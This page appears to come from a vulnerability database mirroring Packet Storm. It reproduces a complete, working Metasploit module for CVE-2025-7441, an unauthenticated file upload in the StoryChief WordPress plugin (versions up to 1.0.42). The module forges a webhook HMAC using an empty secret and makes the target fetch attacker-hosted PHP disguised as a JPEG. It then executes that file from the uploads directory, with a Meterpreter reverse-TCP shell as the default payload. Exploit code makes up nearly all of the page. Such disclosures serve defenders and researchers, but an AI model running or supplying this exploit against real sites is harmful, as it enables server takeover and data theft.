Lucene search
K

📄 WordPress StoryChief 1.0.42 Shell Upload

🗓️ 19 Feb 2026 00:00:00Reported by xpl0dec, NayeraType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 120 Views

Exploits unauthenticated file upload in StoryChief WordPress plugin to achieve remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Mephisto
21 May 202605:06
githubexploit
GithubExploit
Exploit for CVE-2025-7441
7 Oct 202512:12
githubexploit
GithubExploit
Exploit for CVE-2025-7441
14 Oct 202508:16
githubexploit
Circl
CVE-2025-7441
29 Aug 202521:02
circl
CNNVD
WordPress plugin StoryChief 代码问题漏洞
16 Aug 202500:00
cnnvd
CNVD
WordPress Plugin StoryChief File Upload Vulnerability
20 Aug 202500:00
cnvd
CVE
CVE-2025-7441
16 Aug 202503:38
cve
Cvelist
CVE-2025-7441 StoryChief <= 1.0.42 - Unauthenticated Arbitrary File Upload
16 Aug 202503:38
cvelist
Exploit DB
StoryChief Wordpress Plugin 1.0.42 - Arbitrary File Upload
26 Aug 202500:00
exploitdb
EUVD
EUVD-2025-25062
3 Oct 202520:07
euvd
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HttpServer
      include Msf::Exploit::Remote::HTTP::Wordpress
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WordPress StoryChief Plugin Unauthenticated RCE',
            'Description' => %q{
              This module exploits an unauthenticated arbitrary file upload
              vulnerability in the StoryChief WordPress plugin <= 1.0.42.
    
              The plugin exposes a webhook endpoint at
              /wp-json/storychief/webhook which accepts a forged HMAC.
              Because the plugin uses an empty secret for HMAC validation,
              attackers can compute a valid MAC and force WordPress to
              download and store attacker-controlled PHP content inside
              the uploads directory, resulting in remote code execution.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'xpl0dec', # Original PoC
              'Nayera'   # Metasploit module
            ],
            'References' => [
              ['CVE', '2025-7441'],
              ['EDB', '52422'],
              ['URL', 'https://github.com/Story-Chief/wordpress']
            ],
            'Platform' => ['php'],
            'Arch' => ARCH_PHP,
            'Targets' => [
              ['Automatic Target', {}]
            ],
            'DisclosureDate' => '2025-08-04',
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'PAYLOAD' => 'php/meterpreter/reverse_tcp',
              'WfsDelay' => 15
            },
            'Privileged' => false,
            'Stance' => Msf::Exploit::Stance::Aggressive,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path to WordPress', '/'])
        ])
      end
    
      #
      # Check Method
      #
      def check
        return CheckCode::Safe('WordPress not detected') unless wordpress_and_online?
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief')
        )
    
        unless res && res.code == 200
          return CheckCode::Safe('StoryChief REST namespace not found')
        end
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief', 'webhook'),
          'ctype' => 'application/json',
          'data' => '{"meta":{"mac":"","event":"publish"},"data":{}}'
        )
    
        return CheckCode::Unknown('No response from webhook endpoint') unless res
    
        return CheckCode::Appears('StoryChief webhook endpoint reachable and likely vulnerable') if res.code != 404
    
        CheckCode::Safe('Webhook endpoint returned 404. The plugin may not be installed, permalinks may not be configured, or the target is not vulnerable.')
      end
    
      #
      # Serve malicious PHP payload
      #
      def on_request_uri(cli, _req)
        print_good("Serving malicious payload to #{cli.peerhost}")
    
        php_payload = payload.encoded
    
        send_response(
          cli,
          php_payload,
          'Content-Type' => 'image/jpeg'
        )
    
        close_client(cli)
      end
    
      #
      # Generate JSON body + HMAC
      #
      def generate_signed_body(remote_url)
        body_hash = {
          'meta' => {
            'event' => 'publish'
          },
          'data' => {
            'featured_image' => {
              'data' => {
                'sizes' => {
                  'full' => remote_url
                }
              }
            }
          }
        }
    
        json_body = JSON.generate(body_hash).gsub('/', '\\/')
        signature = OpenSSL::HMAC.hexdigest('sha256', '', json_body)
    
        body_hash['meta']['mac'] = signature
        JSON.generate(body_hash)
      end
    
      #
      # Attempt to trigger uploaded shell
      #
      def trigger_shell(filename)
        now = Time.now
    
        upload_path = normalize_uri(
          target_uri.path,
          'wp-content',
          'uploads',
          now.year.to_s,
          format('%02d', now.month),
          filename
        )
    
        print_status("Attempting to execute uploaded payload at #{upload_path}")
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => upload_path
        )
    
        unless res && res.code == 200
          fail_with(Failure::UnexpectedReply, 'Uploaded payload did not return HTTP 200, execution likely failed')
        end
      end
    
      #
      # Main Exploit
      #
      def exploit
        payload_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"
        register_file_for_cleanup(payload_name)
    
        print_status('Starting local HTTP server for payload hosting')
    
        start_service(
          'Uri' => {
            'Path' => "/#{payload_name}",
            'Proc' => proc { |cli, req| on_request_uri(cli, req) }
          }
        )
    
        payload_url = "#{get_uri.chomp('/')}/#{payload_name}"
        print_status("Payload URL: #{payload_url}")
    
        request_body = generate_signed_body(payload_url)
    
        print_status('Sending malicious webhook request')
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief', 'webhook'),
          'ctype' => 'application/json',
          'data' => request_body
        )
    
        fail_with(Failure::Unreachable, 'No response from target') unless res
    
        unless res.code == 200 && res.body.include?('permalink')
          fail_with(Failure::UnexpectedReply, "Unexpected response (#{res.code})")
        end
    
        print_good('Webhook accepted payload — attempting execution')
    
        trigger_shell(payload_name)
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation